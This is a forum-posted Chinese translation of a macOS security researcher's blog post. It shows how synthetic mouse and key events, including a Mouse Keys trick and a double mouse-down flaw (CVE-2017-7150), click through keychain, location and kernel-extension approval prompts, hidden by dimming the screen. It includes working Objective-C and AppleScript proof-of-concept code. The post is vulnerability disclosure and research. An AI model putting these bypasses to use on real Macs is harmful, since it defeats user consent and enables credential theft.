首页
论坛
课程
招聘
[翻译]通过一次点击打破 macOS 防御
2018-10-15 19:58 2557

[翻译]通过一次点击打破 macOS 防御

2018-10-15 19:58
2557

背景

想象一下,你是一个攻击者(或者是恶意软件的一部分),已经成功的控制了Mac,天喏!

 

你可能想去做这样的事:

  • 把用户的keychain都dump出来

  • 确定系统的(地理)位置

  • 遍历用户的联系方式

  • 加载一个内核扩展(kext)

  • 绕过第三方的安全产品

不幸的是(对作为攻击者的你来说),在最新的macOS版本中,几个新的安全机制阻止了这些操作,现在,这些安全机制会弹出警告框来响应这些操作。警告框被设计成了只能用户才能响应,例如这样:

 

 

 

然而,如果我们能找到一个途径通过编程,或者“模拟”响应这些警告框,我们可以一下子绕过所有这些安全机制,也就是说,如果这样的攻击存在,可以从UI上单点攻破,这篇Blog探究了macOS模拟点击事件的很多个方面...从恶意软件滥用这些功能,到新的仍未修补的0day攻击!

注意:
这篇blog是我最近的DefCon演讲的镜像,"The Mouse is Mightier than the Sword" (然而这篇文章也有一些新的技术细节)

这个演讲的全部幻灯片,可以在[这里](https://speakerdeck.com/patrickwardle/the-mouse-is-mightier-than-the-sword)看到。

“模拟”攻击的历史

模拟点击(或者说编程)和UI交互来达到恶意的目的并不是什么新鲜的想法,让我们看看一些(滥用)使用这种事件的恶意软件。

注意:这个章节里面描述的攻击,在最新的版本的macOS中已经被屏蔽了!

然而,在这个文章的结尾,我们会披露一些在最新的苹果系统中会生效的0days。

OSX.FruitFly是在十年前的写出来的,在2017年初才被发现,我之前写了一篇很长的关于这个恶意软件的白皮书("Offensive Malware Analysis: Dissecting OSX.FruitFly.B via a Custom C&C Server")。并指出它能够生成“模拟”鼠标和键盘事件:

 

 

这是一个简明的gif,演示了远程攻击者如何通过OSX.FruitFly远程关闭(keychain)安全访问提示:

 

 

另一个利用“模拟点击”事件的Mac恶意软件(2011年)是OSX.DevilRobber。

 

正如大牛@noarfromspace所指出的,它dump了用户的keychain,通过几个简单的 AppleScript 命令绕过“keychain访问”提示符:

 

广告软件也以使用“模拟”事件而闻名。例如,OSX.Genieo将自己安装为浏览器扩展。然而,为了实现这一点,OSX.Genieo必须绕过一个试图阻止(Safari)浏览器扩展的编程方式安装的安全提示。Adware如何绕过这个警告?通过发送一个“模拟”鼠标事件来点击“允许”!

 

具体来说,对OSX.Genieo的方法dump分析(通过jtool),我们能看到一个叫SafariExtensionInstaller的class。

$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS

@interface SafariExtensionInstaller : ?
...
/* 2 - 0x1000376e1 */ + getPopupPosition;
...
/* 4 - 0x100037c53 */ + clickOnInstallButton;
/* 5 - 0x100037d71 */ + clickOnAllowButtonKeychain;
....
/* 8 - 0x100038450 */ + clickOnTrustButton;

猜猜这个clickOnInstallButton按钮做了什么?!

char +[SafariExtensionInstaller clickOnInstallButton]{

 (@selector(getPopupPosition))(&var_40);

 r14 = CGEventCreateMouseEvent(0x0, 0x5, 0x0, rcx);
 r15 = CGEventCreateMouseEvent(0x0, 0x1, 0x0, rcx);                  
 rbx = CGEventCreateMouseEvent(0x0, 0x2, 0x0, rcx);

 CGEventPost(0x0, r14);
 CGEventPost(0x0, r15);
 CGEventPost(0x0, rbx);

首先,它通过调用一个名为getPopupPosition的方法来获取警告框(“弹出”)的位置。然后它通过CGEventCreateMouseEvent和CGEventPost api发送一些“模拟”鼠标事件。0x5是鼠标移动事件,而0x1和0x2对应的是左键按下,然后抬起。最终的结果吗?该广告软件能够解除警报,并安装自己,成为一个恶意浏览器扩展。

防御“模拟”事件

在macOS的最新版本中,苹果已经实施了各种防御措施来阻止这种“模拟”攻击。然而,这些防御不是通用的,而是只保护某些UI组件(例如某些安全或访问提示)。

 

在High Sierra(以及可能的macOS旧版本)上,只要有人试图发送代码生成的鼠标事件,例如发送到keychain访问提示,操作系统会检测并阻止这个:

$ log show
tccd  PID[44854] is checking access for target PID[44855]
tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight_unknown

execution error: System Events got an error: osascript is not allowed assistive access. (-1719)

具体来说,macOS将检查生成“模拟”事件的过程是否提供了辅助访问(是的,辅助访问提示符也被保护不受此类攻击):

 

 

注意,“辅助访问”必须手动给应用程序。通过系统的偏好设置,您可以查看有这个权限的应用程序。或者,你可以dump(SIP保护的)操作系统隐私数据库,/Library/Application Support/com.apple.TCC/TCC.db:

 


通过CoreGraphics API生成的“模拟”事件现在也被过滤和屏蔽(但同样,只有当目标UI组件被显式地保护时),可以在以下系统日志输出中看到:

default 08:52:57.441538 -1000 tccd  PID[209] is checking access for target PID[25349]
error   08:52:57.657628 -1000 WindowServer Sender is prohibited from synthesizing events

如果我们正则查找“Sender is prohibited from synthesizing events”字符串,我们可以在核心库中的post_filtered_event_tap_data函数中找到它。

int post_filtered_event_tap_data(int arg0, int arg1, int arg2, ...)

    if (CGXSenderCanSynthesizeEvents() == 0x0) &&
       (os_log_type_enabled(*_default_log, 0x10) != 0x0)) {
          rbx = *_default_log;
          _os_log_error_impl(..., "Sender is prohibited from synthesizing events",...);
    }


int CGXSenderCanSynthesizeEvents() {
   ...   

   rax = sandbox_check_by_audit_token("hid-control", 0x0, rdx, rdx);

正如我们在上面的反编译中看到的,如果CGXSenderCanSynthesizeEvents函数返回0 (false/NO),就会记录这个错误消息。如果sandbox_check_by_audit_token方法失败,就会发生这种情况。

 

就像它的名称建议的一样,sandbox_check_by_audit_token函数检查发送“模拟”事件的进程是否具有隐藏控制权限。这个检查似乎是在内核中执行的,在mpo_iokit_check_hid_control_t函数中:

 

绕过苹果的保护

好的,让我们戴上黑客帽(黑色的?,白色的?灰色的?)讨论一些漏洞和0days!

 

我的目标很简单:在一个完全打补丁的High Sierra系统上“模拟”与任何/所有UI提示(安全、隐私、访问等)....作为一个普通用户来做一些事情,比如dump密钥链,或者批准一个内核扩展来加载!

 

在研究探索之后,我发现了一个叫做“鼠标按键”的功能

 

“鼠标键”是macOS的一个有文档记录的特性,正如苹果公司所指出的,它允许你把键盘当作鼠标来使用!可以使用鼠标右键,例如将鼠标移到右边,只需按键盘上的O(或numberpad 6)就可以了。生成鼠标点击?按I(或numberpad 5):

 


这引发了问题:

 

■“鼠标键”可以编程来模拟吗?
■一个“模拟”键盘事件,可以生成一个被信任的(阅读:允许)“模拟”鼠标事件吗?

 

这两个问题的答案都是肯定的!

 

首先,我们可以使用AppleScript以编程方式打开系统首选项应用程序的窗口,该应用程序具有启用“鼠标键”的复选框。并使用CoreGraphics发送“模拟”鼠标检查来启用:

//enable 'mouse keys'
void enableMK(float X, float Y){


    //apple script
    NSAppleScript* scriptObject =
     [[NSAppleScript alloc] initWithSource:
        @"tell application \"System Preferences\"\n" \
        "activate\n" \
        "reveal anchor \"Mouse\" of pane id \"com.apple.preference.universalaccess\"\n" \
        "end tell"];

    //exec
    [scriptObject executeAndReturnError:nil];

    //let it finish
    sleep(1);

    //clicky clicky
    CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);
    CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);

    return;
}

由于苹果只保护某些UI组件(比如安全警报)不受“模拟”事件的影响——而这些UI组件没有受到保护,正好适合我们去做!

 


要生成编程鼠标单击,启用“鼠标键”,我们首先移动鼠标,然后通过AppleScript发送一个“模拟”键盘事件。具体来说,我们模拟键87:

//click via mouse key
void clickAllow(float X, float Y)
{
   //move mouse
   CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved,
               CGPointMake(X, Y), kCGMouseButtonLeft));

   //apple script
   NSAppleScript* script = [[NSAppleScript alloc] initWithSource:
                            @"tell application \"System Events\" to key code 87\n"];

   //exec
   [script executeAndReturnError:nil];
}

当启用“鼠标键”时,当“按下”(甚至以编程方式)keycode 87(映射到numberpad 5)时,系统将其转换为鼠标单击!这可以通过我的开源鼠标和键盘嗅探器观察到,嗅探器:

 

因为操作系统是做键盘到鼠标事件的转换,然后“传递”鼠标事件(点击),甚至受保护的UI组件将接受和处理事件!(一般来说,当源是操作系统本身时,这些受保护的组件信任“模拟”事件)。

 

那么我们能用这种能力做什么呢?很多事情....像dump和泄漏用户的密钥链与所有的私钥和未加密密码:

 

我负责地向苹果公司报告了这个bug,苹果将漏洞命名为CVE-2017-7150,并在通过高版本的Sierra追加补丁修补了漏洞。

 


但是,“模拟”问题仍然比比皆是!

 

首先,我注意到各种与隐私相关的警告(即使是在一个打满补丁的macOS 10.13上。* box)盲目接受程序化鼠标事件。例如,在macOS的最新版本中,macOS在代码试图访问时显示警告:

 

■系统(用户)的地理位置
■用户的联系人
■用户的日历事件
■……和更多!

 


由于这些警报接受“模拟”事件,恶意软件可以简单地通过编程方式忽略它们:

 

//given some point {x, y}
// generate synthetic event...
CGPostMouseEvent(point, true, 1, true);
CGPostMouseEvent(point, true, 1, false);

这里有一个POC,它可以通过“模拟地”忽略操作系统的访问警告来确定用户的地理位置:

 


…你可能会想,“苹果,如果恶意软件可以如此简单地绕过它,为什么还要发出警告呢?”也许他们可以告诉答案,因为我也一脸懵逼!

 

好吧,事实证明还有一个更糟糕的问题。允许非特权恶意软件或攻击者与“受保护的”UI组件交互的问题——例如High Sierra的“用户辅助内核加载”接口。是的,这也适用于完全修补的macOS 10.6。*系统。

 

发现这个bug是一件令人尴尬的意外。我试着测试苹果的CVE-2017-7150补丁,并错误地剪切和粘贴了一些代码。结果是,可爱的0day!

 

回顾一下,可以通过CoreGraphics框架发送“模拟”鼠标事件。通常对于这样的鼠标点击,您发送两个事件:一个鼠标按下事件,然后是一个鼠标抬起事件:

//given some point {x, y}
// generate synthetic event...

//final param: true => mouse down
CGPostMouseEvent(point, true, 1, true);

//final param: false => mouse up
CGPostMouseEvent(point, true, 1, false);

但是,如果复制并粘贴第一行:CGPostMouseEvent(point, true, 1, true);…并且忘记将最后一个参数从true更改为false(表示鼠标抬起移动),这将生成两个鼠标按下事件。

 

…理论上这个应该被忽略。然而,事实并非如此!正好相反(通过SniffMK),我们可以观察到系统将第二个(无效的)鼠标按下转换为抬起的鼠标:

 

问题不在于第二个鼠标下移事件被转换为鼠标上移事件,而是它是由操作系统完成的,这意味着事件的源进程id为0(即系统)。如前所述,一般来说,UI(包括安全提示和其他受保护的组件)允许系统发生“模拟”事件(pid 0),例如,将一个典型的鼠标按下/抬起事件发送到“用户辅助内核加载”界面的“允许”按钮,会被忽略,错误如下:

 

但如果pid是0呢?如前所述,这将是允许的!

 


我们现在可以通过编程允许内核扩展的加载,即使是在一个完全打补丁的高版本Sierra系统上。

 

在OSX/macOS上,一个人总是需要root权限,才能加载这样的扩展。那么这次攻击给我们带来了什么好处呢?或者更确切地说,问题是,“用户辅助内核加载”的首要目的是什么?

 

在macOS的最新版本中,加载kext不仅需要是root用户,还需要对kext进行签名。从苹果公司获得内核代码签名证书几乎是不可能的。

 

但是攻击者(具有root权限)可以做的事情(正如我在2016年DefCon演讲中详细介绍的那样)是:
加载已知的易受攻击的第三方驱动程序(已经合法签名)
利用已知的漏洞在内核上下文中获得任意代码执行。

 

苹果对这种攻击的回应是“用户辅助内核加载”,它要求用户必须手动批准任何kext的加载,从而增加了额外的安全层。遗憾的是,我们刚刚展示了这个“安全”机制(通过CVE-2017-7150),仍然100%是坏的。谁承担这个后果?第三方开发者(而不是那些坏家伙)被迫遵守苹果的规则:

 

###不可见

 

这些利用“模拟”事件的攻击的一个明显缺点是它们是可见的。

 

想象一下,你正坐在办公桌前用Mac电脑工作……突然,一个警告弹出,鼠标似乎自动地移动到警告,并点击取消它。你肯定知道你被黑了!

 

幸运的是(对于攻击者/恶意软件)有一个简单的解决方案!只需要把屏幕调暗:

 


当屏幕亮度调到0.0时,UI仍然是完全“显示”和活跃的(与显示器锁定或屏幕保护程序打开时不同)。然而,它在用户看来是“关闭”的,因此任何“模拟”攻击都是不可见的。

 

现在,您要确保您(作为攻击者)在适当的时间将屏幕调暗。例如:

在用户一定时长的不活跃之后(提醒:使用CGEventSourceSecondsSinceLastEventType API)

当显示器进入休眠状态时。

 

在后一种场景中,代码可以检测显示器何时即将进入休眠(通过kiomessagecandeviceoff通知)。在这里,它可以迅速将屏幕亮度调暗到0.0,然后在显示器休眠之前执行任何“模拟”攻击:

总结:

通过(滥用)使用模拟事件,恶意软件或本机攻击者可以绕过macOS的大量内置安全机制:

 

 

尽管苹果已经意识到了这种攻击方式,并试图保护操作系统的安全与隐私相关的UI组件,但它们都失败了。即使在一个完全补丁的高Sierra系统上,也可以“模拟”与这些UI组件交互,从而在不可见的情况下忽略这些组件。

 

好消息(对我们Mac用户来说)是macOS Mojave (10.14)“模拟”事件被操作系统全局忽略(除非用户明确地给予应用程序这样的权限)。虽然这可能会破坏许多合法的应用程序,但从安全角度来看,这显然是正确的方法!所以,荣誉属于库比蒂诺(苹果总部所在地)!

 

翻译:【看雪翻译小组】Daemond
校对:【看雪翻译小组】hchater
原文:https://objective-see.com/blog/blog_0x36.html


看雪学院推出的专业资质证书《看雪安卓应用安全能力认证 v1.0》(中级和高级)!

最后于 2019-2-2 11:11 被kanxue编辑 ,原因:
收藏
点赞0
打赏
分享
打赏 + 1.00
打赏次数 1 金额 + 1.00
 
赞赏  junkboy   +1.00 2018/10/15
最新回复 (1)
雪    币: 10942
活跃值: 活跃值 (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
junkboy 活跃值 2018-10-15 20:01
2
0
谢谢  建议附上原文链接
游客
登录 | 注册 方可回帖
返回